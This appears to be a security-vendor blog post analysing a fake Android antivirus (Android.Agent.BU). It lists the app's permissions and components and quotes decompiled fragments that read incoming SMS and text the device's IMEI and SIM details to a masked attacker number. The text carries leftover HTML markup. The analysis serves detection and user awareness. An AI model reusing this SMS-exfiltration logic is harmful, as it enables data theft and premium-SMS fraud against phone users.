![\"image1\"](\"https:\/\/blogs.quickheal.com\/wp-content\/uploads\/2014\/02\/image1.png\")
<\/a><\/p>\nQuick Heal has detected this Android malware as Android.Agent.BU.<\/span> Before installation, the application asks the user for administrator rights. It displays two options \u2013 \u2018Cancel<\/b>\u2019 and \u2018Activate<\/b>\u2019 (refer to fig. a). And this is where the catch lies. Even if the user chooses the \u2018Cancel\u2019 option, the application gets installed and takes the administrator rights anyway.<\/p>\n After the fake antivirus gets installed, it provides the user with multiple options for scanning the mobile device (refer to fig. b).<\/p>\n Choosing any of these options will trigger the application to execute malicious activities in the background. And this might look like a simple virus scan to the user.<\/p>\n The malware is designed to perform the following activities in the background<\/span>:<\/p>\n 1<\/strong>. Stealing the following information from the compromised phone and sending it to the attacker:<\/p>\n 2<\/strong>. Stealing text messages from the device\u2019s Inbox.<\/p>\n 3<\/strong>. Erasing user data from the compromised phone and even SD card data.<\/p>\n 4<\/strong>. Calling and sending SMSs to premium numbers, without the user\u2019s knowledge.<\/p>\n Technically, here’s how the malware functions<\/span>: Activity<\/strong>:<\/p>\n – com.soft360.iService.MainActivity<\/p>\n – com.BioTechnology.iClientsService.IncomingCallActivity<\/p>\n Service<\/strong>:<\/p>\n – com.soft360.iService.AService<\/p>\n –\u00a0com.soft360.iService.webService<\/p>\n Receiver<\/strong>:<\/p>\n – com.soft360.iService.Alarm<\/p>\n – com.soft360.iService.AutoStart<\/p>\n – com.soft360.web.MyAdmin<\/p>\n Permission<\/strong>:<\/p>\n – android.permission.READ_PHONE_STATE<\/p>\n – android.permission.ACCESS_WIFI_STATE<\/p>\n – android.permission.CHANGE_WIFI_STATE<\/p>\n – android.permission.READ_PHONE_STATE<\/p>\n – \u00a0android.permission.CALL_PHONE<\/p>\n – android.permission.ACCESS_NETWORK_STATE<\/p>\n – android.permission.CHANGE_NETWORK_STATE<\/p>\n – android.permission.WRITE_EXTERNAL_STORAGE<\/p>\n – android.permission.ACCESS_NETWORK_STATE<\/p>\n – android.permission.INTERNET<\/p>\n – android.permission.RECEIVE_BOOT_COMPLETED<\/p>\n – android.permission.WRITE_SMS<\/p>\n – android.permission.READ_SMS<\/p>\n – android.permission.RECEIVE_SMS<\/p>\n – android.permission.SEND_SMS<\/p>\n – android.permission.RECEIVE_BOOT_COMPLETED<\/p>\n – android.permission.READ_CONTACTS<\/p>\n – android.permission.RECORD_AUDIO<\/p>\n Code Snippet:<\/strong><\/p>\n String str1 = “android.provider.Telephony.SMS_RECEIVED”;<\/p>\n Intent localIntent1 = new Intent(str1);<\/p>\n MainActivity localMainActivity1 = this;<\/p>\n SmsReciever localSmsReciever = SmsReciever.class;<\/p>\n Intent localIntent2 = localIntent1.setClass(localMainActivity1, localSmsReciever);<\/p>\n sendBroadcast(localIntent1);<\/p>\n In SmsReciever<\/strong><\/p>\n 1)\u00a0<\/strong>\u00a0\u00a0 String str2 = localSmsMessage1.getDisplayMessageBody().toString();<\/p>\n str2 contains message received.<\/p>\n String str3 = localSmsMessage1.getOriginatingAddress().trim();<\/p>\n str3 contains message received from the number .<\/p>\n 2)<\/strong> The below code snippet finds numbers from the call list of the phone.<\/p>\n if (localsmsParser.isCallList())<\/p>\n {<\/p>\n localdbActions.sent_Call_Details();<\/p>\n continue;\u00a0\u00a0\u00a0\u00a0\u00a0 }<\/p>\n Note<\/em>: In the SMSReceiver class it check for “79********54” SMS .<\/p>\n 3) <\/strong>SMS receiver class calls the dbAction class.<\/p>\n The following methods are present in db action which performs the malware activity.<\/p>\n a) sent_Call_Details(): In WebService Root class:<\/strong><\/p>\n 1) initDeviceServ() is called from alarm class .<\/p>\n Here it checks if the device has more than one SMS count\u00a0 .<\/p>\n if (this.send_sms_count > 1);<\/p>\n try<\/p>\n {<\/p>\n –\u00a0 Str1=i am<\/p>\n – \u00a0localStringBuilder1 =i am (<\/p>\n – \u00a0Str2=Sim Number<\/p>\n –\u00a0 localStringBuilder2=Sim Number (<\/p>\n –\u00a0 Str3=Device Name<\/p>\n –\u00a0 Str4= Device Name )<\/p>\n –\u00a0 Str5=phone number (79*******45)<\/p>\n It send all the information to 79*******45.<\/p>\n localSmsManager.sendTextMessage(str5, null, str4, null, null);<\/p>\n<\/a>
\nFig. a<\/p>\n<\/a>
\nFig. b<\/p>\n\n
\n<\/span><\/strong><\/p>\n
\nb) get_sms_list():
\nc) getIMEI():
\ne) setCALL(int paramInt)
\nf) setSMS(int paramInt)<\/p>\n